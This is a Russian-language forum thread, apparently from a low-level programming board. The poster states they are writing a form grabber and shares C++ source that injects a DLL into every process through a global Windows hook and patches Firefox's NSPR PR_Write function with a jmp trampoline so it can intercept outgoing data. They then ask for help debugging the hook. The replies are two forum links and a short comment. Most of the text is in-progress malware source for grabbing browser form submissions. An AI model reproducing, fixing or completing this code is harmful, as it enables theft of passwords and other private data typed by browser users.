пишу формграббер. Код (Text): #include <windows.h> #include "module_disasm.h" #include "ffhook.h" HINSTANCE hInst=NULL; HHOOK SH = 0; HANDLE MutexHandle=(HANDLE)(-1); long __stdcall MsgProc(int code, unsigned int wParam,long lparam) { return CallNextHookEx(SH,code,wParam,lparam); } void __stdcall SetWindowsHook(bool e) { if(e){ HANDLE M=CreateMutex(0,false,"__API_HOOK"); if(GetLastError()!=ERROR_ALREADY_EXISTS){ SH=SetWindowsHookEx(WH_GETMESSAGE,MsgProc,hInst,0) ; MutexHandle=M; }else CloseHandle(M); } else { UnhookWindowsHookEx(SH); CloseHandle(MutexHandle); } } BOOL __stdcall DllMain(HINSTANCE hModule, DWORD dwReason, LPVOID lpReserved) { switch(dwReason) { case DLL_PROCESS_ATTACH: hInst=hModule;//инициализируем дескриптор приложения SetWindowsHook(true); SetFFHook(); case DLL_PROCESS_DETACH: SetWindowsHook(false); } return 0; } Код (Text): #include <windows.h> #include "module_disasm.h"//(c) slesh unsigned char *opcode=NULL; int PR_WRITE_tramp( DWORD *fd, void *buf, DWORD amount ) { __asm{ jmp opcode } } int PR_WRITE_hook( DWORD *fd, void *buf, DWORD amount ) { MessageBox(0,"ok",NULL,0); return PR_WRITE_tramp(fd,buf,amount); } bool SetFFHook()//хукаем nspr { HMODULE hNspr=GetModuleHandleA("nspr4.dll");//полчаем дескриптор dll-ки if(hNspr==0) return false;//если dll не загружена а значит мы не в том процессе - выходим DWORD dwPAddr=(DWORD)GetProcAddress(hNspr,"PR_Write"); if(dwPAddr<=0) return false;//если не нашли функцию, значит dll левая - выходим MessageBox(0,"ok",NULL,0); int buflen=MDAL_GetOpcodesLenByNeedLen((BYTE *)dwPAddr,5);//сколько надо перенести на трамплин чтоб записать 5 байт unsigned char *op=new unsigned char[buflen];//выделяем память opcode=new unsigned char[buflen+5]; ReadProcessMemory(INVALID_HANDLE_VALUE,(LPCVOID)dw PAddr,opcode,buflen,new DWORD);//копируем начало unsigned char jmp=0xE9; unsigned char nop=0x90; memcpy(op,(const void *)&jmp,1);//jmp DWORD offset=(DWORD)&PR_WRITE_hook - dwPAddr - 5; memcpy( (void *)((DWORD)op+1),(const void *)&offset,4); WriteProcessMemory(INVALID_HANDLE_VALUE,(LPVOID)dw PAddr,op,5,new DWORD); for (int i=5;i<buflen;++i) WriteProcessMemory( INVALID_HANDLE_VALUE,(LPVOID)(dwPAddr+i),&nop,1,new DWORD); DWORD tramp_offset=dwPAddr-(DWORD)opcode-5; if(!VirtualProtect(opcode, buflen+5, PAGE_EXECUTE_READWRITE, new DWORD)) return false; memcpy((void *)((DWORD)opcode+buflen),(const void *)&jmp,1);//jmp memcpy( (void *)((DWORD)opcode+buflen+1),(const void *)&tramp_offset,4); return true; } толкьо вот почемуто не срабатывает Код (Text): HMODULE hNspr=GetModuleHandleA("nspr4.dll");//полчаем дескриптор dll-ки и getmodulehandle возвращает 0. если файрфокс уже запущени и в него грузят dll-ку и вместо сплайсинга вызывается показ мессаджбокса, а если он запускается заново то ничего вообще не срабатывает... в чем может быть проблема? аналогичный код на дельфе работает на ура, только там механизм установки глобальных хуков немного другой, но это не суть, т.к. dll нормально грузиьться во все процессы...
realcoder http://www.wasm.ru/forum/viewtopic.php?pid=342693#p342693 http://www.wasm.ru/forum/viewtopic.php?pid=461726#p461726
должна. если его нет то функция прерывается в итоге только в одном процессе ставиться хук и выводиться мессаджбокс. но его ВООбЩЕ не выводиться